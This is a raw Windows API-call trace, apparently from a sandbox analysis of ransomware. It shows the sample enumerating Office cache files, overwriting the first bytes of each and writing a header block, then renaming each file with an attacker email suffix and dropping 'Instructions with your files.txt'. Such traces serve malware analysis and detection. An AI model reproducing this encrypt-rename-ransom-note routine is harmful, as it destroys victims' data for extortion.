[0033.177] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.") returned 68
[0033.177] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0033.177] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.177] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0033.177] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..") returned 69
[0033.177] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0033.177] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.177] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1
[0033.177] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 78
[0033.177] StrStrIW (lpFirst="ExcelLR.cab", lpSrch="SDfghjkl") returned 0x0
[0033.177] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0033.180] GetProcessHeap () returned 0x2e0000
[0033.180] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0033.180] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0033.182] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0033.183] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0033.183] GetProcessHeap () returned 0x2e0000
[0033.183] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.183] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0033.183] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0033.185] CloseHandle (hObject=0x10c) returned 1
[0033.669] GetProcessHeap () returned 0x2e0000
[0033.669] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0033.670] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0033.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0033.674] GetProcessHeap () returned 0x2e0000
[0033.674] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.674] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1
[0033.675] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 79
[0033.675] StrStrIW (lpFirst="ExcelMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0033.675] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0033.675] GetProcessHeap () returned 0x2e0000
[0033.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0033.675] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0033.677] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0033.677] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0033.677] GetProcessHeap () returned 0x2e0000
[0033.677] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.677] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0033.677] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0033.680] CloseHandle (hObject=0x10c) returned 1
[0033.736] GetProcessHeap () returned 0x2e0000
[0033.736] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0033.736] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0033.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0033.737] GetProcessHeap () returned 0x2e0000
[0033.737] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.737] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1
[0033.737] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 79
[0033.737] StrStrIW (lpFirst="ExcelMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0033.737] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0033.737] GetProcessHeap () returned 0x2e0000
[0033.737] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0033.737] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x61d, lpOverlapped=0x0) returned 1
[0033.739] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff9e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0033.739] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x61d, lpOverlapped=0x0) returned 1
[0033.739] GetProcessHeap () returned 0x2e0000
[0033.739] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.739] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0033.739] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0033.739] CloseHandle (hObject=0x10c) returned 1
[0033.742] GetProcessHeap () returned 0x2e0000
[0033.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0033.742] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0033.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0033.743] GetProcessHeap () returned 0x2e0000
[0033.743] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.743] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0033.743] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0033.743] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0033.743] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0033.744] GetProcessHeap () returned 0x2e0000
[0033.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0033.744] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x8f8, lpOverlapped=0x0) returned 1
[0033.746] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0033.746] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x8f8, lpOverlapped=0x0) returned 1
[0033.746] GetProcessHeap () returned 0x2e0000
[0033.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.746] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0033.746] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0033.746] CloseHandle (hObject=0x10c) returned 1
[0033.748] GetProcessHeap () returned 0x2e0000
[0033.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0033.748] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0033.748] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0033.748] GetProcessHeap () returned 0x2e0000
[0033.748] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.749] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0033.749] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0033.749] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0033.749] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0033.750] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0033.750] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0033.750] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0033.750] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0033.750] CloseHandle (hObject=0x10c) returned 1
[0033.750] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0033.750] GetProcessHeap () returned 0x2e0000
[0033.750] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0033.750] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1
[0033.750] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 66
[0033.750] GetProcessHeap () returned 0x2e0000
[0033.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0033.750] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*") returned 68
[0033.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0033.755] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.") returned 68
[0033.755] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0033.755] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.755] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0033.755] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..") returned 69
[0033.755] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0033.756] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.756] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1
[0033.756] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 84
[0033.756] StrStrIW (lpFirst="PowerPointMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0033.756] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0033.756] GetProcessHeap () returned 0x2e0000
[0033.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0033.756] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0033.758] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0033.758] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0033.759] GetProcessHeap () returned 0x2e0000
[0033.759] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0033.759] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0033.759] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0033.761] CloseHandle (hObject=0x10c) returned 1
[0034.032] GetProcessHeap () returned 0x2e0000
[0034.032] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
